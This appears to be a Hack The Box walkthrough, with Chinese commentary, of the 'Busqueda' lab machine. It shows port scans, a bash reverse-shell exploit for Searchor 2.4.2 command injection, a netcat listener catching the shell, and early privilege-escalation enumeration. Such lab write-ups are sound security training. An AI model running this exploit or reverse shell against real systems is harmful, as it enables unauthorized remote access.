$ sudo nmap -p- --min-rate=10000 10.10.11.208 Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-18 22:34 EDT Nmap scan report for 10.10.11.208 Host is up (0.075s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 10.09 seconds
$ sudo nmap -sT -sV -sC -O -p22,80 10.10.11.208 Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-18 22:35 EDT Nmap scan report for 10.10.11.208 Host is up (0.074s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 4f:e3:a6:67:a2:27:f9:11:8d:c3:0e:d7:73:a0:2c:28 (ECDSA) |_ 256 81:6e:78:76:6b:8a:ea:7d:1b:ab:d4:36:b7:f8:ec:c4 (ED25519) 80/tcp open http Apache httpd 2.4.52 |_http-server-header: Apache/2.4.52 (Ubuntu) |_http-title: Did not follow redirect to http://searcher.htb/ Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Aggressive OS guesses: Linux 5.0 (96%), Linux 4.15 - 5.8 (96%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.5 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 13.08 seconds
$ sudo nmap --script=vuln 10.10.11.208 Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-18 22:45 EDT Pre-scan script results: | broadcast-avahi-dos: | Discovered hosts: | 224.0.0.251 | After NULL UDP avahi packet DoS (CVE-2011-1002). |_ Hosts are all up (not vulnerable). Nmap scan report for searcher.htb (10.10.11.208) Host is up (0.075s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. | http-csrf: | Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=searcher.htb | Found the following possible CSRF vulnerabilities: | | Path: http://searcher.htb:80/ | Form id: engine-select |_ Form action: /search |_http-dombased-xss: Couldn't find any DOM based XSS.
Nmap done: 1 IP address (1 host up) scanned in 58.20 seconds
$ sudo nikto -h http://searcher.htb/ - Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 10.10.11.208 + Target Hostname: searcher.htb + Target Port: 80 + Start Time: 2023-07-18 22:41:05 (GMT-4) --------------------------------------------------------------------------- + Server: Werkzeug/2.1.2 Python/3.10.6 + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + : Server banner changed from 'Werkzeug/2.1.2 Python/3.10.6' to 'Apache/2.4.52 (Ubuntu)'. + No CGI Directories found (use '-C all' to force check all possible dirs) + OPTIONS: Allowed HTTP Methods: GET, HEAD, OPTIONS . + 7962 requests: 0 error(s) and 4 item(s) reported on remote host + End Time: 2023-07-18 22:52:12 (GMT-4) (667 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
echo "---[Reverse Shell Exploit for Searchor <= 2.4.2 (2.4.0)]---"
if [ -z "${evil_cmd##*$plus*}" ] then evil_cmd=$(echo ${evil_cmd} | sed -r 's/[+]+/%2B/g') fi
if [ $# -ne 0 ] then echo "[*] Input target is $1" echo "[*] Input attacker is $2:${port}" echo "[*] Run the Reverse Shell... Press Ctrl+C after successful connection" curl -s -X POST $1/search -d "engine=Google&query=${evil_cmd}" 1> /dev/null else echo "[!] Please specify a IP address of target and IP address/Port of attacker for Reverse Shell, for example:
./exploit.sh <TARGET> <ATTACKER> <PORT> [9001 by default]" fi
1 2 3 4 5
$ ./searchor.sh http://searcher.htb/ <HTB_VPN_IP> <LOCAL_PORT> ---[Reverse Shell Exploit for Searchor <= 2.4.2 (2.4.0)]--- [*] Input target is http://searcher.htb/ [*] Input attacker is <HTB_VPN_IP>:<LOCAL_PORT> [*] Run the Reverse Shell... Press Ctrl+C after successful connection
本地nc监听一下:
1 2 3 4 5 6
$ sudo nc -lnvp 443 listening on [any] 443 ... connect to [<HTB_VPN_IP>] from (UNKNOWN) [10.10.11.208] 35470 bash: cannot set terminal process group (1659): Inappropriate ioctl for device bash: no job control in this shell svc@busqueda:/var/www/app$
System information as of Wed Jul 19 04:06:19 AM UTC 2023
System load: 0.0185546875 Usage of /: 80.9% of 8.26GB Memory usage: 59% Swap usage: 3% Processes: 238 Users logged in: 0 IPv4 address for br-c954bf22b8b2: 172.20.0.1 IPv4 address for br-cbf2c5ce8e95: 172.19.0.1 IPv4 address for br-fba5a3e31476: 172.18.0.1 IPv4 address for docker0: 172.17.0.1 IPv4 address for eth0: 10.10.11.208
* Introducing Expanded Security Maintenance for Applications. Receive updates to over 25,000 software packages with your Ubuntu Pro subscription. Free for personal use.
https://ubuntu.com/pro
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates. See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old. To check for new updates run: sudo apt update Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Wed Jul 19 03:04:01 2023 from 10.10.14.24 svc@busqueda:~$
docker-ps : List running docker containers docker-inspect : Inpect a certain docker container full-checkup : Run a full system checkup
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 960873171e2e gitea/gitea:latest "/usr/bin/entrypoint…" 6 months ago Up About an hour 127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp gitea f84a6b33fb5a mysql:8 "docker-entrypoint.s…" 6 months ago Up About an hour 127.0.0.1:3306->3306/tcp, 33060/tcp mysql_db
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup Something went wrong
我们大致试了一下action,暂时没啥好想法,先去它的路径下看一眼吧。
1 2 3 4 5 6 7 8 9 10
svc@busqueda:/opt/scripts$ ls -la ls -la total 28 drwxr-xr-x 3 root root 4096 Dec 24 2022 . drwxr-xr-x 4 root root 4096 Mar 1 10:46 .. -rwx--x--x 1 root root 586 Dec 24 2022 check-ports.py -rwx--x--x 1 root root 857 Dec 24 2022 full-checkup.sh drwxr-x--- 8 root root 4096 Apr 3 15:04 .git -rwx--x--x 1 root root 3346 Dec 24 2022 install-flask.sh -rwx--x--x 1 root root 1903 Dec 24 2022 system-checkup.py